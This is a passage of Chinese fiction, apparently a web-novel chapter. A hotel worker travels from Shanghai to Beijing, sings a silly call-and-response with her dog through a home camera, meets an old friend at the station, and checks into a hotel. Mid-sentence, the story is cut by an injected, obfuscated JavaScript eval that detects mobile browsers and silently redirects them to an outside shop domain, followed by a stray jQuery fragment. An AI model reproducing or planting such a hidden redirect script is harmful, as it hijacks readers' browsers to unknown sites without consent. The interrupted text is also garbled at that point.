林深回到家的时候，已经快十点。来福趴在门口，听见密码锁响立刻站起来，尾巴摇得飞快。林深蹲下摸了摸它。
“明天不在家。”
来福舔了舔她的手，完全没当回事。
她洗完澡，把行李箱拖出来。其实没多少东西，几件衣服，一个化妆包，几根数据线，充电器，平板电脑。收拾到一半，她忽然想起什么，拿起手机。
“王阿姨，明天开始帮我遛几天来福，一天两次。”
消息发出去不到一分钟。
“好。”
林深看了一眼，把手机放下。就这么简单，九年了，很多事情已经不用多说。
中午躺到床上以后，她还是没睡着。明明上了一整夜班，身体累，脑子却异常清醒。她翻了个身，又翻了个身，来福已经睡着了，四脚朝天，毫无烦恼。林深盯着天花板看了一会儿，终于认输——算了，不睡了，反正明天高铁上还能睡。
结果第二天上了高铁，她依然没睡。车窗外的景色一闪而过，她低头看看手机，又看看窗外，再看看时间，像个第一次出远门的小学生。其实她已经去过北京无数次，只是很多年没回去了。
下午，列车驶入北京，广播开始播报到站信息，车厢里的人陆续开始收拾行李。林深低头看了一眼监控，客厅里来福正在睡觉。她戴上耳机，打开语音，压低声音。
“二——百——五——”
监控里的来福耳朵动了一下，抬起头。
“呜呜呜……”
林深忍不住笑，继续。
“二↗百↘五↗——”
来福站起来。
“呜呜呜……”
还在酝酿，像发动机预热。林深已经快笑疯了。
“二↘百↗五↘——”
来福终于成功启动，脑袋抬高，拖着那个熟悉的调子。
“二百五——”
前排一个乘客回头看了一眼，林深赶紧低头，肩膀一直抖，她继续小声说：
“二百五↗——”
来福：
“二百五↗——”
“二百五↘——”
“二百五↘——”
一人一狗隔着一千多公里开始对唱。第三轮结束，林深又来了一句。
“二百五——”
来福盯着监控看了两秒，忽然：
“汪！汪！”
林深立刻停下。结束了，她太了解了，只要开始汪，今天的250游戏就结束了。她关掉监控，笑着靠回座椅，窗外已经是北京。
高铁缓缓减速。手机震动了一下，宋青瓷。
“到了？”
“快了。”
“我在出站口。”
林深看着那几个字，心脏忽然快了一拍。
北京南站还是和记忆里一样大，一样拥挤。人流从闸机不断涌出来，有人拖着行李箱奔跑，有人举着手机打电话，广播声和轮子摩擦地面的声音混在一起。林深跟着人流往外走，刚出闸机就看见了宋青瓷。他站在人群旁边，低头看手机，穿着黑色外套，和很多年前没什么区别。
林深忽然发现，自己一路上想了很多——见面要说什么，第一句话是什么，会不会尴尬，会不会冷场。结果真的见到了，脑子反而空了。宋青瓷抬头，看见她，走过来，顺手接过箱子。
“没睡？”
第一句话。林深笑了。
“夜班。”
“也是。”
然后就没了。没有电视剧里的重逢，没有拥抱，没有久别重逢的煽情，好像昨天刚见过。两个人一起往停车场走，北京比上海干一点，风吹过来的时候带着一点熟悉的味道。上车以后，宋青瓷问：
“饿吗？”
“有一点。”
“先吃饭。”
“好。”
车开出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733836|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去没多久，林深忽然想起酒店。
“对了。”
“嗯？”
“我酒店订好了。”
“哪家？”
林深说了名字，宋青瓷点点头。
“离学校不远。”
“故意订的。”
“员工价？”
林深笑了。
“当然。”
这次宋青瓷没继续问。他知道她在酒店上班，也知道酒店人总有自己的办法。
北京晚高峰堵得理直气壮，车开得很慢，两个人有一句没一句地聊——工作，视频，酒店，来福。聊着聊着，林深忽然问：
“明天有事吗？”
宋青瓷看着前面红灯。
“没有。”
“那去学校？”
“行。”
他说得很自然，像一件早就决定好的事。林深低头看向窗外，没有继续说话。车窗倒映出她自己的脸，还有北京傍晚的灯光。
半小时后，酒店到了。前台小姐姐看见她进门，立刻露出标准职业微笑。
“您好，欢迎入住。”
林深把身份证、员工证和在职证明一起递过去。前台低头看了一眼，动作明显熟练了不少。
“稍等啊，我复印一下。”
没过多久，前台拿着资料回来。
“来，人脸。”
林深站到摄像头前，滴，验证通过。
“好了。”
“房卡。”
“谢谢。”
“电梯那边。”
整个过程不到三分钟，没有解释，没有寒暄，前台继续接待下一位客人。林深拿着房卡走向电梯，宋青瓷站在旁边等她。电梯门缓缓关上，数字开始往上跳。林深忽然有一种奇怪的感觉——昨天晚上她还坐在上海酒店前台看卫星图，今天她已经在北京了，而明天，她要回学校，真正的学校，不是地图上的那个。